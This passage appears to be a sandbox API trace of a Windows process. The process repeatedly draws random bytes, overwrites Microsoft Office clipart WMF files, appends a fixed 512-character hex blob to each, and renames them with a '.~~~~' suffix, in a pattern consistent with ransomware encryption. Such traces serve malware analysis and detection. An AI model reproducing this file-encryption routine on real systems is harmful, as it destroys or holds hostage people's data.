	[0104.637] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.637] CloseHandle (hObject=0x144) returned 1
	[0104.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293e430
	[0104.638] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.~~~~")) returned 1
	[0104.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293e430 | out: hHeap=0x300000) returned 1
	[0104.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.639] GetLastError () returned 0x0
	[0104.639] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.640] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.640] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.641] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22463078961) returned 1
	[0104.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa80c6a50, dwHighDateTime=0x1d60e1e)) 
	[0104.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c480
	[0104.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c480 | out: hHeap=0x300000) returned 1
	[0104.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293e430
	[0104.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28696e0
	[0104.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293e430 | out: hHeap=0x300000) returned 1
	[0104.641] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.642] GetLastError () returned 0x0
	[0104.642] GetLastError () returned 0x0
	[0104.642] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.642] GetLastError () returned 0x0
	[0104.642] GetLastError () returned 0x0
	[0104.645] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffeb40, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.645] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x14c0, lpOverlapped=0x0) returned 1
	[0104.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.646] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.646] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.646] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.646] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.646] CloseHandle (hObject=0x144) returned 1
	[0104.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293e430
	[0104.646] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.~~~~")) returned 1
	[0104.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293e430 | out: hHeap=0x300000) returned 1
	[0104.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.647] GetLastError () returned 0x0
	[0104.648] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.649] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.649] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.649] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22463931556) returned 1
	[0104.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa80c6a50, dwHighDateTime=0x1d60e1e)) 
	[0104.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c4b8
	[0104.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c4b8 | out: hHeap=0x300000) returned 1
	[0104.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293e430
	[0104.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869778
	[0104.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293e430 | out: hHeap=0x300000) returned 1
	[0104.650] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.650] GetLastError () returned 0x0
	[0104.650] GetLastError () returned 0x0
	[0104.650] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.650] GetLastError () returned 0x0
	[0104.650] GetLastError () returned 0x0
	[0104.653] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe084, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.653] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1f7c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1f7c, lpOverlapped=0x0) returned 1
	[0104.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.654] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.654] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.654] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.654] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.654] CloseHandle (hObject=0x144) returned 1
	[0104.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293e4d8
	[0104.655] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.~~~~")) returned 1
	[0104.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293e4d8 | out: hHeap=0x300000) returned 1
	[0104.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.655] GetLastError () returned 0x0
	[0104.656] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.657] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.657] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.657] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22464720042) returned 1
	[0104.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa80ecbb0, dwHighDateTime=0x1d60e1e)) 
	[0104.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c4f0
	[0104.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c4f0 | out: hHeap=0x300000) returned 1
	[0104.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293e4d8
	[0104.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869810
	[0104.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293e4d8 | out: hHeap=0x300000) returned 1
	[0104.658] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.658] GetLastError () returned 0x0
	[0104.658] GetLastError () returned 0x0
	[0104.658] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.658] GetLastError () returned 0x0
	[0104.658] GetLastError () returned 0x0
	[0104.701] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff85ba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.701] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x7a46, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x7a46, lpOverlapped=0x0) returned 1
	[0104.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.704] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.704] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.704] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.704] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.704] CloseHandle (hObject=0x144) returned 1
	[0104.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.718] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.~~~~")) returned 1
	[0104.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.759] GetLastError () returned 0x0
	[0104.874] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2941768) returned 1
	[0104.876] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.876] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0104.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0104.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0104.876] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22486604150) returned 1
	[0104.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8301ef0, dwHighDateTime=0x1d60e1e)) 
	[0104.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0104.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0104.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0104.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28bc2a8
	[0104.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28bc2a8 | out: hHeap=0x300000) returned 1
	[0104.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293fc78
	[0104.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869648
	[0104.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.877] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.877] GetLastError () returned 0x0
	[0104.877] GetLastError () returned 0x0
	[0104.877] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.877] GetLastError () returned 0x0
	[0104.877] GetLastError () returned 0x0
	[0104.880] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe7f2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.880] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x180e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x180e, lpOverlapped=0x0) returned 1
	[0104.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0104.882] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.882] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.882] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.882] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.882] CloseHandle (hObject=0x120) returned 1
	[0104.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293fc78
	[0104.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.~~~~")) returned 1
	[0104.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0104.884] GetLastError () returned 0x0
	[0104.884] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2941768) returned 1
	[0104.886] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.886] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0104.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0104.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0104.886] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22487618917) returned 1
	[0104.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8301ef0, dwHighDateTime=0x1d60e1e)) 
	[0104.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0104.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0104.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0104.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c918
	[0104.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c918 | out: hHeap=0x300000) returned 1
	[0104.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293fc78
	[0104.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869e98
	[0104.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293fc78 | out: hHeap=0x300000) returned 1
	[0104.887] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.887] GetLastError () returned 0x0
	[0104.888] GetLastError () returned 0x0
	[0104.888] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.888] GetLastError () returned 0x0
	[0104.888] GetLastError () returned 0x0
	[0104.891] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffd294, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.891] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x2d6c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x2d6c, lpOverlapped=0x0) returned 1
	[0104.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0104.892] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.892] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
